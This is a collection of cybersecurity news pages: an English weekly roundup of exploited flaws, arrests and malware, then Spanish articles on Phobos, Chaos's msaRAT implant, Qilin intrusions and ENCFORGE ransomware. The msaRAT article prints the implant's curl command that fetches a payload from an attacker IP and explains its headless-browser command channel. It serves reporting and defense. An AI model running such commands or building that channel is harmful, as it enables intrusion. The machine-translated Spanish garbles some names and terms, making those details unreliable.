NetScaler and FortiMail 0-Days, AI Coding Leaks, Spectre v2 and Ransomware Arrests – CYBERDEFENSA.MX

A blank field. A public repo. One reply to an email. A box left exposed. None of this sounds dramatic, which is partly the problem. This week’s threats keep finding leverage in small things that were easy to overlook.

There are actively exploited bugs in the mix, cleaner intrusion paths, smarter automation, and a long patch list waiting behind them. Some attacks are getting more capable. Others are still getting in because the basics gave way first.

Here’s what mattered this week.

⚡ Threat of the Week

Citrix Warns of Newly Exploited NetScaler ADC and Gateway Flaw — Citrix released security updates for a high-severity security flaw in NetScaler ADC and NetScaler Gateway that has been exploited as part of targeted zero-day attacks. The vulnerability, tracked as CVE-2026-88779, carries a CVSS score of 8.7 out of 10.0. «CVE-2026-88779 is a memory overflow vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway that can lead to denial-of-service under specific deployment conditions,» Citrix said. «The issue affects customer-managed NetScaler deployments running affected supported versions when the required preconditions are met.» Successful exploitation requires NetScaler ADC or NetScaler Gateway to be configured either as a SAML service provider (SP) or SAML identity provider(IdP).

🔔 Top News

  • Critical FortiMail Zero-Day Flaw Exploited in Attacks — The U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned of active exploitation of a critical security flaw impacting Fortinet FortiMail. The flaw, CVE-2026-104286 (CVSS score: 9.8), allows unauthenticated attackers to write arbitrary files on the underlying system. According to Fortinet, the vulnerability «may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests.»
  • Two ShinyHunters Members Arrested — Law enforcement agencies have arrested two members associated with the ShinyHunters digital extortion group. One of them is a 24-year-old Amsterdam man, who is believed to be Pepijn van der Stap, while the second individual is Saif ‌al-Din Khader, who is said to have been detained by Jordanian authorities last week. ShinyHunters has drawn attention in recent weeks for hijacking the darknet website of Cl0p and its hack of the FBI’s «apply.fbijobs[.]gov» portal.
  • Authorities Arrest 16-Year-Old Mastermind Behind KillSec — Police in Spain apprehended a 16-year-old who is suspected to be the leader of the KillSec (aka Kill Security Ransomware Group) ransomware operation. According to Europol, authorities took control of KillSec’s leak site on September 30, 2026, securing no less than 110 terabytes of data. As part of Operation KillSwitch, a total of three suspects were provisionally arrested and eight properties searched in Greece, Romania, Spain, and the U.K. One of the group’s accused members, Fouad Eltibrizi, was arrested in the U.K. and is awaiting extradition to the U.S. Since emerging in 2024, the group is estimated to have launched around 1,000 attacks, at least half of which were successful. «The group exploited software vulnerabilities and poorly secured access points, particularly to cloud storage, to gain access to organizations’ systems,» Europol said. «Its members then copied sensitive internal data to infrastructure under their control. Victims were named on the group’s dark web leak site and threatened with publication of their data unless paid.» Per Group-IB, which identified 274 publicly claimed victims, out of which most were U.S., Indian, and Brazilian organizations. «The group also sold stolen data outright, with asking prices ranging from USD 5,000 for a single company’s records to USD 500,000 for the data it claimed to have taken from the global insurer, making KillSec as much a data broker as a ransomware operator,» Group-IB said.
  • New Spectre v2 Variant Leaks Linux Root Password Hash in Minutes — A new Spectre v2 attack variant called Branch Target Reuse (BTR) can recover root password hashes from Intel computers running Linux in just a few minutes. The attack exploits stale information in a processor’s branch predictor after a just-in-time (JIT) engine reuses memory for new code. By tampering with this information, an attacker can trick the processor into temporarily executing wrong instructions and potentially expose sensitive data. «We evaluated the end-to-end exploit on both Raptor Cove and Lion Cove, and leaked the password within 3 and 5 minutes on average, respectively,» researchers claimed. «Indirect branch prediction is inherent to modern CPUs, and BTR exploits the desynchronization between the branch predictor and the actual state of the code. No current CPU has a mechanism to keep the two in sync, so until vendors add one, your CPU is vulnerable.»
  • Star Blizzard Uses Fake Invites to Deploy CosmicPulse — The Russian state-sponsored threat actor known as Star Blizzard has employed a new malware delivery technique called RedFlick in attacks targeting Ukrainian individuals and institutions as well as international non-government organizations (NGOs), Western think tanks, governments, and other organizations associated with international policy. The end goal is to deploy a custom backdoor called CosmicPulse by setting up scheduled tasks using RedFlick through phishing emails masquerading as invitations. Once a victim responds to an initial phishing email, Star Blizzard typically sends a follow-up containing a password-protected archive that triggers the RedFlick chain. «This technique is a notable departure from the actor’s previous use of ClickFix-based infection chains which required victims to complete multiple actions before CosmicPulse could be installed,» Microsoft said. «By contrast, the RedFlick infection flow only requires a single user interaction, reducing friction in the compromise process.»
  • NeedyMantis Malware Enables Persistent Network Access — A modular post-compromise malware family called NeedyMantis is being used by threat actors to maintain long-term stealth access and support post-compromise operations. Distributed by a two-stage loader and launched via DLL sideloading, the malware has been observed in a limited number of targeted operations affecting telecommunications organizations, universities, medical nonprofits, intergovernmental organizations, and government contractors. The activity aligns with operations that are associated with threat actors operating from China. The malware operation has been active since at least October 2025. «While NeedyMantis employs techniques commonly used by modern malware, its architecture combines multiple loaders, custom encrypted file archives, a custom executable file format, and modular components that enable operators to evade analysis and extend functionality through additional modules,» Microsoft said. At least one threat actor has been linked to its use: Storm-3069, which is Microsoft’s designation for the DAEMON Tools supply chain attack that took place in May 2026.
  • RatHat Android Malware Console Uses Gemini to Identify Higher-Value Victims — The Android malware known as RatHat has been observed using Google Gemini to estimate each victim’s bank balance and sorts the device into high-value and mid-value groups. «Gemini is used on both sides of the operation: the malware asks an LLM where to tap when its automation fails on an unfamiliar phone, and the panel uses one to estimate victims’ bank balances from their SMS,» Cleafy said. Over the course of the operation, the threat actors behind RatHat changed its command-and-control (C2) panel entirely, moving from ackCat to Panda Workshop. «The panel works as a complete malware factory: it builds, signs, and publishes new samples from the console, rebuilds them on a schedule to evade hash-based detection, without the operator touching the hosting infrastructure,» Cleafy added. «Account caps and role-gated sections exist to constrain the panel’s own users, and pivoting on its frontend artifacts resolves the three generations to nearly 100 separate deployments since April 2026.»
  • AI Coding Agents Leaked 13K Internal Company Screenshots — A new report from Glow Labs found that AI coding agents posted more than 13,000 sensitive screenshots of corporate software projects from 343 companies to public GitHub repositories. The activity has been codenamed PixelLeak. About a third of the exposures came from developers who were using gitshot. «Each case investigated during our ‘PixelLeak’ research started with a developer asking an agent to prove that a visual change worked,» researchers said. «The software was changed, for example with a fix to the user interface layout, and the reviewers needed to see the before and after. The agents figured out that they could make the image available to the human reviewer by hosting it in an adjacent public repo. They just didn’t consider the security implications.» These incidents show that AI creates new security risks even without having to facilitate cyber attacks.

‎️‍🔥 Trending CVEs

Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild.

Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-88779 (Citrix NetScaler ADC and NetScaler Gateway), CVE-2026-96419, CVE-2026-96421, CVE-2026-95391, CVE-2026-95389 (Wireshark), CVE-2026-86857, CVE-2026-86858, CVE-2026-13016, CVE-2026-86859, CVE-2026-86860 (ServiceNow), CVE-2026-93485 aka Comment2Shell (WordPress), CVE-2026-76708, CVE-2026-76709, CVE-2026-76710 (HPE Networking Analytics and Location Engine), CVE-2026-89078, CVE-2026-93577 (GitLab), CVE-2026-96512 (Sudo), CVE-2026-87022, CVE-2026-86350, CVE-2026-78437, CVE-2026-78383, CVE-2026-77791, CVE-2026-79677, CVE-2026-76183, CVE-2026-75973, CVE-2026-86248, CVE-2026-73581 (Apache Tomcat), CVE-2026-18163, CVE-2026-18162, CVE-2026-18169 CVE-2026-18177, CVE-2026-18132, CVE-2026-18872, CVE-2026-17635, CVE-2026-17645, CVE-2026-18137 (IBM Financial Transaction Manager), CVE-2026-94384 (AWS Connect Salesforce Lambda), CVE-2026-65127, CVE-2026-65113, CVE-2026-65128, CVE-2026-65114, CVE-2026-65121, CVE-2026-65130 (NVIDIA), CVE-2026-74849 (ManageEngine ADSelfService Plus), CVE-2026-75939 (Red Hat OpenShift), GHSA-632h-h47v-g4x4 (OpenCode), CVE-2026-91765 (PHP), CVE-2026-96760 (Authlib), CVE-2026-42542, CVE-2026-44639 (TDengine), CVE-2026-86553, CVE-2026-86555, CVE-2026-86552, CVE-2026-86554 (ZTE SmartLife), CVE-2026-101891, CVE-2026-87969, CVE-2026-86102, CVE-2026-86131 (WatchGuard), GHSA-cpc9-c4h3-2jwx (geoserver/geoserver-cloud), CVE-2026-93302, CVE-2026-89102 (WolfSSL), CVE-2026-84782 (OpenSSL), CVE-2026-12530, CVE-2026-16796 (Amazon Bedrock AgentCore Python SDK), CVE-2026-76504 (Cisco Catalyst SD-WAN Manager), CVE-2026-84411 (MikroTik RouterOS), CVE-2026-19743, CVE-2026-92368, CVE-2026-92369, CVE-2026-92370, CVE-2026-92371, CVE-2026-19042, CVE-2026-16444, CVE-2026-12703 (TeamViewer), CVE-2026-102331 (Google Chrome), from CVE-2026-100756 through CVE-2026-100793 (Mozilla Firefox), CVE-2026-54154, CVE-2026-102147, CVE-2026-102149, CVE-2026-102102, CVE-2026-102103, CVE-2026-102104, CVE-2026-102105, CVE-2026-102106, CVE-2026-102115, CVE-2026-102095, CVE-2026-85066, CVE-2026-85065 (Kiteworks), CVE-2026-102489, CVE-2026-102490 (Zammad), CVE-2026-63292, CVE-2026-42356, CVE-2026-42528 (Apache HTTP Server), CVE-2026-101898, CVE-2026-101901, CVE-2026-101909, CVE-2026-101906, CVE-2026-101903, CVE-2026-101907, CVE-2026-101905, (Axios), CVE-2026-72018 (Linux kernel), CVE-2026-101169 (Octopus Server), CVE-2026-94545 (Next.js), CVE-2026-73857, CVE-2026-73856 (ModSecurity), CVE-2026-12855 (InsydeH2O IHISI SMM), MTLVULN-1694 (Mitel MiCollab), CVE-2026-81963 (Microsoft Windows), CVE-2026-90970, CVE-2026-1868 (GitLab AI Gateway), CVE-2026-79898, CVE-2026-12627, CVE-2026-79901 (Fortra BoKS), CVE-2026-93698, CVE-2026-93029, CVE-2026-93697 (cPanel and WHM), CVE-2026-103922 (Capacitor), CVE-2026-13181, CVE-2026-13182, CVE-2026-13183, CVE-2026-13184 (Telerik UI for ASP.NET AJAX), CVE-2026-84732, CVE-2026-84256, CVE-2026-84226, CVE-2026-82312, CVE-2026-78043, CVE-2026-81738 (OpenVPN), CVE-2026-75754 (ASUS Control Center Enterprise), CVE-2026-96659 (Foreman), CVE-2026-61500 (Rejetto HFS), CVE-2026-18167, CVE-2026-18330 (TP-Link Archer AX55 v4), CVE-2026-63688, CVE-2026-63692, CVE-2026-67269, CVE-2026-54472, CVE-2026-61421, and CVE-2026-67273 (Dell Container Storage Modules).

🎥 Cybersecurity Webinars

  • How to Control AI Agents Before Access Sprawl Takes Over → AI agents are rapidly gaining access to sensitive systems, data, and workflows—but most security programs were never designed to govern non-human identities at this scale. This webinar breaks down how to discover AI agents, control their permissions, prevent excessive access, and build a governance model that keeps agent adoption from turning into the next major identity security problem.
  • AI Attacks Move at Machine Speed. Can Your Identity Security Keep Up? → AI-powered attacks can now move from reconnaissance to privilege escalation faster than traditional security teams can investigate and respond. This webinar explains why identity is becoming the critical real-time control layer—and how runtime identity security can help organizations detect risky access, enforce decisions across cloud, SaaS, on-prem, and AI environments, and stop machine-speed attacks before they turn into breaches.

📰 Around the Cyber World

  • Google Halts OSS VRP Submissions — As of October 1, 2026, Google is no longer accepting OSS VRP product vulnerability submissions due to a «significant rise in automated submissions, the vast majority of which are not valid.» The tech giant added: «For some Google Cloud repos impacting Google Cloud products, we may still accept reports covering product vulnerabilities through the Cloud VRP. We will continue to reformat and work on this aspect of the OSS VRP and commit to giving an update in Q1 2027.»
  • Microsoft’s X Account Briefly Hijacked — Unknown attackers hijacked the official Microsoft account on X, which has over 13 million followers, in what appeared to be a pump-and-dump scheme promoting a crypto token. «We have confirmed unauthorized access to our account on X, including posts that did not come from Microsoft,» a Microsoft spokesperson told The Verge. «The account has been secured, and the unauthorized posts have been removed, and we are continuing to investigate the circumstances.»
  • TIKTOUK, a WordPress Credential Collection Toolkit — A new toolkit called TIKTOUK «brings together WordPress probing, collection of exposed configuration data, recovery of encrypted email credentials, and JavaScript secret scanning,» LevelBlue said. TIKTOUK features Python components and a Go-based Linux crawler that probes WordPress pages and REST batch routes, collects configuration and option values, and retrieves referenced JavaScript files, scans their contents, and reports matching secret patterns.
  • Google Details PageBreak — Google has detailed an internal AI agent called PageBreak that aims to autonomously scale vulnerability discovery while minimizing manual work arising from hallucinated bug reports. «Rather than simply hypothesizing bugs based on code patterns, the system closes the loop by verifying potential flaws against running environments,» Google said. «This approach results in a near-zero false positive rate, ensuring that we avoid overloading product teams with unverified vulnerability reports.» Page has uncovered over 500 Cross-Site Scripting (XSS) vulnerabilities across Google first-party web applications.
  • Milk Dragon Phishing Kit Detailed — Group-IB has shed light on an adversary-in-the-middle (AiTM) phishing kit called Milk Dragon (aka NaiLong) that has been active since October 2025. «Unlike conventional phishing tactics that rely on fear and urgency, Milk Dragon lures victims with big discounts on consumer goods distributed via Facebook and TikTok marketplace advertisements,» Group-IB said. «Phishing pages impersonate brands across multiple industries, including Retail & Supermarket chains. Well-known brand names such as LEGO, Calvin Klein, Aeon Malaysia, and many others are exploited and used as lures.» The attack is designed to steal financial information from victims. Actively sold on Telegram, Milk Dragon has claimed victims spanning 66 countries, with 258 phishing pages identified to date.
  • Iranian Hacker Extradited to the U.S. — An Iranian hacker accused of being behind a cyber espionage campaign targeting hundreds of universities, federal and state government agencies, private sector companies, and non-governmental organizations has been extradited to the U.S. Amir Barati, 40, is expected to face wire and computer fraud charges in the US Southern District of New York. The High Court in Podgorica approved his extradition last month.
  • New Variant of NodeStealer Emerges — Netskope Threat Labs said it detected a new variant of NodeStealer packing major updates that turn it into a full-blown spyware. The new features were likely written with AI assistance. «The latest Python NodeStealer variant incorporates new spyware features, including keylogging, clipboard monitoring, and screenshot capture,» Netskope said. «In addition, it expands its theft targets to include Wi-Fi passwords, the victim’s Pictures folder, and two additional web browsers. Earlier NodeStealer variants queried only two Facebook Graph API endpoints. The latest variant queries more than 20 endpoints to construct a comprehensive dossier on the individual managing the account.»
  • Bypassing Microsoft’s RejectDirectSend — ReliaQuest said an empty Simple Mail Transfer Protocol (SMTP) envelope sender can bypass RejectDirectSend, which is designed to block unauthenticated Direct Send mail. «An external sender can omit the envelope domain while retaining an internal-looking address, making phishing messages more likely to be trusted. The message still carries an internal-looking address, increasing the likelihood that spearphishing reaches the recipient,» ReliaQuest said. «The technique requires only one empty field – no credentials, no registered lookalike domain, and no dedicated sending infrastructure – so organizations should expect continued use.» The cybersecurity company said it observed attackers repeatedly using self-addressed messages and familiar business lures to target leadership and business-facing users.
  • Attackers Exploit PaperCut Flaws to Deliver AdaptixC2 — In late August 2026, threat actors exploited CVE-2026-82078 and CVE-2026-81578, two PaperCut MF vulnerabilities, as zero-days to load an in-memory Java loader, which in turn deployed a web shell. The web shell was then used to deploy a trojanized Microsoft Copilot binary carrying an AdaptixC2 implant. «AdaptixC2 is an open-source and highly modular post-compromise framework that provides a broad set of capabilities, including remote shell access, file management, reverse proxying, and modules for Active Directory attacks, credential harvesting, lateral movement, and more,» eSentire said. «In this intrusion, threat actors used the lateral movement module to steal a token from a process running under a domain-privileged service account and move laterally to a domain controller.» Upon gaining access to the domain controller, the threat actors dumped credentials to obtain the service account’s NTLM hash and enabled Windows Restricted Admin mode. Ultimately, the attackers dumped the domain’s Active Directory NTDS.dit database in an attempt to collect password hashes for all domain accounts.
  • Anthropic Says GLM-5.3 Can Build Cyber Exploits — Anthropic revealed that Zhipu AI’s (aka Z.ai) GLM-5.3 model can autonomously build end-to-end cyber exploits, like Claude Mythos Preview, and that it has been released without «meaningful safeguards to limit misuse.» The AI company said attackers can bypass the open-weight model’s safeguards between 64% and 100% of the time with simple techniques, adding that these lax safeguards significantly increase the cyber capabilities available to malicious actors. «At the same time, these capabilities can also benefit defenders working to secure their systems,» it added. «The funniest part is how Anthropic admitted self-reflectively that the lack of guardrails may actually be benefiting the defenders working to secure their systems,» Evilginx creator Kuba Gretzky said in an X post. «Something they never wanted to allow, because of possible misuse.»

Conclusion

This week was a useful reminder that attackers do not need one perfect path. A fresh exploit, an exposed secret, a weak mail control, or one careless workflow can all get them moving.

Patch what is exposed, review what is trusted by default, and keep an eye on the simple paths. The clever stuff matters, but plenty of trouble still starts with something ordinary being left open.

El antiguo cabecilla del grupo de ransomware Phobos se declara culpable – CYBERDEFENSA.MX

El ciudadano ruso Evgenii Ptitsyn, de 43 años de edad, se ha declarado culpable de los cargos relacionados con su participación en la operación de ransomware Phobos en un tribunal de EE.UU, según ha informado el Departamento de Justicia del país.

Phobos es una de las operaciones de ransomware más activas y peligrosas. Desde su nacimiento habrían atacado a más de un millar de organizaciones en todo el mundo, afectando a hospitales, escuelas, agencias gubernamentales y otras entidades. En estos siete años habrían cobrado más de 39 millones de dólares en rescates, según ha apuntado la fiscalía.

Los administradores de Phobos gestionaban un sitio web que coordinaba la venta y distribución del ransomware a sus afiliados, quienes desembolsaban 300 dólares por una clave de descifrado única tras ejecutar los ataques.

Las autoridades han señalado que el ciberdelincuente controlaba monederos de criptomonedas que recaudaban miles de esos pagos, recibiendo el 25 % de las comisiones por la clave de descifrado y, en ocasiones, una parte de los beneficios del rescate.

«Ptitsyn y otros fueron responsables de docenas de ataques de ransomware contra víctimas estadounidenses, incluidas empresas de atención médica, hospitales, instituciones educativas y proveedores de servicios esenciales», han recogido los fiscales federales de EE.UU en un acuerdo de culpabilidad rubricado con el pirata informático.

Como parte de dicho acuerdo, Ptitsyn ha aceptado perder 1,77 millones de dólares en activos y pagar al menos 39,3 millones de dólares en restitución a las víctimas, mientras que los fiscales federales han retirado varios cargos. No obstante, el ruso podría enfrentarse a una condena de 20 años en prisión.

Más detenciones

Policías y autoridades de varios países, bajo la coordinación de Europol, llevan años desplegando la ‘Operación Aether’, cuyo objetivo es desmantelar la infraestructura y encontrar a los miembros de la mencionada banda de ransomware.

La investigación a largo plazo actúa en tres frentes: la identificación de los desarrolladores del malware, la localización de afiliados u operadores que ejecutan los ataques y el desmantelamiento de servidores, comunicaciones y herramientas usadas por el grupo.

La detención más reciente fue en febrero. Un hombre de 47 años, cuyo nombre no se hizo público, fue arrestado en el sur de Polonia, en una operación coordinada por las unidades policiales de Katowice y Kielce. Las fuerzas del orden requisaron su domicilio y revisaron su equipo informático. No obstante, en esta ocasión se trataba de un mero colaborador, no un cabecilla del grupo, que podría pasar 5 años de cárcel.

Asimismo, la Operación Aether también tuvo reflejo hace un año en Phuket, Tailandia, con la desarticulación de 8base, que usaba este ransomware, y la incautación de más de 100 servidores usados por la red.

Chaos Ransomware utiliza msaRAT para enrutar el tráfico C2 a través de Chrome y Edge sin cabeza – CYBERDEFENSA.MX

El grupo de ransomware Chaos ejecutó su comando y control a través del propio navegador de la víctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detrás de él, encontrado en una máquina Windows comprometida delante del cifrador.

El implante nunca abre una conexión saliente propia. Su proceso habla con 127.0.0.1 y nada más. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a través del protocolo Chrome DevTools, la API de depuración propia del navegador.

Cada mensaje C2 viaja desde allí a través de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La dirección del servidor del atacante nunca aparece.

Chrome habla

msaRAT busca primero Chrome o Edge a través de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ningún navegador coincidente, se omite la ruta CDP.

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=newhabilita CDP con --remote-debugging-porty lo apunta a un punto separado --user-data-dir.

Desde Cromo 136Google ya no respeta el interruptor de depuración del perfil predeterminado, un cambio anunciado en marzo de 2025 después de que los ladrones de información tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el análisis de Talos muestra que toque en absoluto el perfil de la víctima.

Ciberseguridad

El malware pregunta /json/list/ para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pestaña, desactiva la Política de seguridad de contenido con Page.setBypassCSPregistra cinco devoluciones de llamada a través Runtime.addBindingy llamadas Runtime.evaluate para inyectar JavaScript almacenado en texto sin formato en el binario .rdata sección.

Cuatro nombres de devolución de llamada, msaOpen, msaClose, msaErrory msaMessagele dio a Talos el nombre del malware. El quinto es dataAck.

Ese JavaScript obtiene la configuración STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]devcon encabezados Origin y Referer disfrazados de tráfico del sitio de Microsoft. Crea una conexión entre pares y publica una oferta SDP en el mismo punto final.

La respuesta regresa sin candidatos ICE y la dirección de conexión establecida en 0.0.0.0por lo que no se puede formar ningún enlace directo de igual a igual, y todo el canal pasa por el relé de Twilio en global.turn.twilio.com. Una vez que el canal de datos está activo, el Trabajador se sale del camino.

El tráfico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE marco de apretón de manos desde el C2 inmediatamente después de la conexión.

El implante pasa los marcos de comando entrantes a cmd.exe /e:ON /v:OFF /d /c para su ejecución. Talos considera que la cola de envío y el control de flujo probablemente estén diseñados para mover grandes cargas útiles, como capturas de pantalla o archivos, de manera confiable.

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025. que la infraestructura TURN de las plataformas de conferencias podría transportar un canal C2 completo, y Sansec encontró un skimmer en marzo de 2026 utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas más allá de la inspección HTTP.

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a través de CDP.

El camino de entrada es el mismo de siempre

msaRAT llega después de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice cómo se llegó a esta máquina. el grupo libro de jugadas documentado Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.

El implante en sí baja con un único comando de flexión:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de números de puerto sin inspección de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualización de Windows y se activa una acción personalizada al final de la instalación para cargar una DLL integrada directamente en la memoria.

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecución asíncrono de Tokio, exportando una función llamada RUN para que el instalador llame.

Notas de caza

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ningún parche de navegador que aplicar para la técnica en sí.

La señal que perdura es el comportamiento del proceso. Como dice Talos, «se considera que todas las comunicaciones externas se originan en un proceso de navegación legítimo». Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new y --remote-debugging-port colocar.

Luego correlacione ese proceso con el tráfico de bucle invertido al puerto de depuración y al WebRTC saliente. Donde la telemetría captura mensajes CDP, Runtime.addBinding y Runtime.evaluate son los pivotes. Las flotas que ejecutan automatización de navegadores o CI tendrán sus propios trabajos sin cabeza para ajustar.

Ciberseguridad

Hasta el 23 de julio de 2026, Talos no ha publicado ningún hash de archivos para msaRAT. El conjunto de indicadores públicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI. Cobertura de detección de Talos:

  • almeja AV: Win.Downloader.ChaosRaas-10060321-0
  • Bufido 2: 1:66839, 1:66840, 1:66841
  • Bufido 3: 1:66839, 1:301587

Esos indicadores son útiles pero limitados. workers.dev es Dominio de implementación compartido de Cloudflareemitido para todas las cuentas de Workers, y los atacantes lo utilizaron el año pasado para organizar cargas útiles y túnel C2.

Twilio ejecuta un servicio STUN y TURN legítimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organización e interrumpirá el tráfico de trabajo para todos los que los utilicen. Talos lo lee como la razón probable por la que se eligió a Cloudflare Workers para la señalización.

Trate esto como una artesanía observada en lugar de una campaña mesurada. El informe no identifica a la víctima, no establece cuántas organizaciones recibieron msaRAT, no dice cuándo comenzó a utilizarse el malware ni explica cómo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.

La entrega no tiene nada de especial: una descarga curl, una actualización falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es dónde vive el C2 después, y ambos indicadores publicados por Talos se pueden cambiar mañana. Un navegador sin cabeza generado por un instalador es más difícil de mover porque es la técnica.

msaRAT busca dos navegadores y necesita que uno de ellos esté presente y autorizado. En una flota de Windows, ese no es un requisito exigente.

Los atacantes de Qilin Ransomware aprovechan la omisión de autenticación de PAN-OS para el acceso inicial – CYBERDEFENSA.MX

Se ha observado que los actores de amenazas explotan una vulnerabilidad PAN-OS de alta gravedad de Palo Alto Networks, ahora parcheada, como punto de entrada para implementar el ransomware Qilin (también conocido como Agenda) en los entornos de las víctimas.

Arctic Wolf Labs dijo que investigó múltiples intrusiones en junio de 2026 que comenzaron con la explotación de CVE-2026-0257 (Puntuación CVSS: 7,8), una falla de omisión de autenticación que afecta los componentes del portal y la puerta de enlace del software PAN-OS.

La explotación exitosa de la falla permite a atacantes remotos no autenticados eludir la autenticación y establecer sesiones VPN sin credenciales válidas cuando las cookies de anulación de autenticación están habilitadas con configuraciones de certificado específicas.

Ciberseguridad

«El arte posterior a la explotación varió según las intrusiones, desde operaciones rápidas de solo cifrado hasta doble extorsión completa, lo que posiblemente sugiere que múltiples afiliados operan bajo el paraguas de ransomware como servicio (RaaS) de Qilin», dijo la compañía de ciberseguridad. dicho.

«Los atacantes demostraron patrones operativos consistentes a pesar de las variaciones en el oficio: organizar el ransomware en C:\PerfLogs\, usar PsExec para la ejecución lateral a través de recursos compartidos administrativos, implementar cargas útiles de ransomware protegidas con contraseña e implementar rutinas integrales de limpieza de registros».

Se ha descubierto que los actores de amenazas utilizan la falla como arma para obtener acceso autenticado a las redes de las víctimas estableciendo sesiones VPN SSL, seguido de intensificar sus ataques para facilitar la recolección de credenciales y el movimiento lateral a través de recursos compartidos administrativos de Windows a través de cuentas administrativas comprometidas.

La actividad también se caracteriza porque los atacantes toman medidas deliberadas para borrar los registros de eventos y deshabilitar la protección en tiempo real de Microsoft Defender antes de ejecutar la carga útil del ransomware para minimizar la probabilidad de detección y evitar dejar evidencia forense.

A pesar de las similitudes en las rutas de preparación del ransomware, la ejecución basada en PsExec y un patrón de persistencia inusual en el Registro de Windows (es decir, un asterisco seguido de seis caracteres alfabéticos en minúsculas aleatorios), los ataques posteriores variaron entre las víctimas.

Ciberseguridad

Esto iba desde cifrado en toda la empresa sin filtración de datos y reconocimiento extenso a través de herramientas de acceso remoto como AnyDesk, Ngrok o LogMeIn hasta robo de credenciales a gran escala e instancias de filtración de datos al servicio en la nube MEGA antes de la implementación de ransomware usando Rclone, Proton Drive y FileZilla.

«Esta variabilidad es consistente con los modelos RaaS, en los que múltiples afiliados pueden aprovechar la infraestructura de acceso inicial compartida y las herramientas de ransomware mientras aplican sus propias metodologías post-explotación preferidas», dijo Arctic Wolf.

El nuevo ransomware ENCFORGE apunta a archivos de modelos de IA en el ataque Langflow RCE – CYBERDEFENSA.MX

Los investigadores de Sysdig han vinculado un segundo ataque en el mismo servidor Langflow con JADEPUFFER, el operador impulsado por agentes de inteligencia artificial que documentó por primera vez a principios de este mes.

Ahora se ha visto al mismo operador desplegando APLICARun nuevo ransomware Go compilado diseñado para cifrar pesos de modelos, índices de vectores, conjuntos de datos de entrenamiento y otros archivos de infraestructura de IA en todo el sistema de archivos del host.

El punto de entrada no cambió. Versiones de Langflow anteriores a 1.3.0 exponer el /api/v1/validate/code punto final sin autenticación, lo que permite que cualquier atacante remoto ejecute Python arbitrario en el servidor. el defecto, CVE-2025-3248tiene una puntuación CVSS de 9,8 y ha estado en las vulnerabilidades explotadas conocidas de CISA. catalogar desde el 5 de mayo de 2025.

Como informó The Hacker News a principios de este mes, la operación anterior utilizó código Python desechable y MySQL. AES_ENCRYPT() función para cifrar y destruir datos en Nacos (el servidor de configuración de Alibaba) y bases de datos de producción.

el nuevo Carga útil ENCFORGE reemplaza esos scripts improvisados ​​con herramientas compiladas dirigidas a las tiendas de modelos, bases de datos vectoriales y canales de capacitación que la primera campaña barrió en busca de credenciales.

La carga útil de ENCFORGE

Los investigadores recuperaron el binario del servidor de comando y control del atacante, donde estaba oculto como /.lockd; una solicitud directa a /lockd devuelve 404 y el punto inicial lo mantiene fuera de una lista de directorio simple. El archivo es un ELF Go 1.22.12 estático empaquetado en UPX 5.20.

Las plataformas de inteligencia de amenazas no arrojaron detecciones ni en el hash empaquetado ni desempaquetado en el momento del análisis de Sysdig. El nombre interno del proyecto es encfile; El texto de error del binario hace referencia a una herramienta keygen complementaria llamada keyforge. Ambas cadenas sobreviven a la recompilación del mismo código base y sirven como anclajes de detección estables.

Ciberseguridad

Su lista de extensiones predeterminada cubre puntos de control de PyTorch y TensorFlow, Hugging Face SafeTensors, formato de intercambio ONNX, GGUF (el estándar actual para LLM implementados localmente) y su predecesor GGML, índices vectoriales FAISS, conjuntos de datos de entrenamiento Parquet y Arrow, matrices NumPy y registros TensorFlow.

Un --include flag permite al operador agregar globs de archivos adicionales; el texto de ayuda incorporado utiliza adaptadores de ajuste fino LoRA y pesos GGML heredados como ejemplos. La lista completa incluye aproximadamente 180 extensiones. Esos ejemplos apuntan directamente a entornos de IA; un casillero de archivos genérico tendría pocas razones para nombrar adaptadores LoRA o pesos GGML heredados. Los investigadores interpretaron la elección como un objetivo deliberado, no como una cobertura incidental.

ENCFORGE utiliza AES-256-CTR para datos de archivos, con la clave simétrica por ejecución incluida en una clave pública RSA-2048 integrada compilada en esta compilación. En lugar de cifrar archivos completos, cifra regiones seleccionadas, la misma optimización de velocidad que utilizan los casilleros LockBit y BlackCat.

Cada archivo procesado se renombra con un .locked extensión. El binario elimina los procesos que mantienen los archivos abiertos antes de cifrarlos, maneja los reinicios sin volver a cifrar los archivos completados y arroja notas de rescate como README, HOW_TO_DECRYPTy README_DECRYPTy se elimina después de ejecutarse.

